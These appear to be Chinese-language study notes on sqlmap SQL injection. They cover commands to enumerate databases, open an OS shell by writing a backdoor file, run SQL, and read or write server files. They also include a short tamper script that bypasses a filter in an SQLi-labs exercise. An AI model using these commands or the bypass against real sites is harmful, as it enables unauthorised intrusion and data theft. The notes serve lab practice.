获取数据
有多个参数的时候,id=1’ & uid=2’ ,可以使用-p id 来指定参数
?id=1” —current-db 获取当前库信息
?id=1” —dbs 获取所有的库名称
获取系统权限
id=1” —os-shell //获取shell,在MYSQL中,写入后门文件
id=1” —sql-shell // 直接执行SQL语句
id=1” —file-read 路径 //读取指定路径的文件
id=1” —file-write 本地文件 —file-dest 目标目录或文件 //将本地文件写入到服务器文件
SQLMap Tamper 脚本
Tamper : 做手脚,破坏
清空缓存:
sqlmap.py -u URL —flush-session
调用Tamper 脚本
sqlmap.py -u URL —taper=文件名
实例:SQLlab-28
代码部分,过滤了 / * — # 空白 union/s select
如果直接注入,肯定不行,
先看这张图,绕过union/s+select 。 其中/s 是空白字符, 可以使用union all select 。
空白字符能绕过的姿势就比较多了。
注释部分可以SQLmap自己可以完成。
写Tamper
第一步:先fuzz出绕过的字符:
这里我们可以把payload中的union/sselet 替换成 union all select
把空白替换成 %0A
第二步:写Tamper
if payload:
payload=payload.replace('union select','union all select').replace(' ','%0A')
return payload
第三步:使用payload
sqlmap.py -u URL —taper=sql-lab38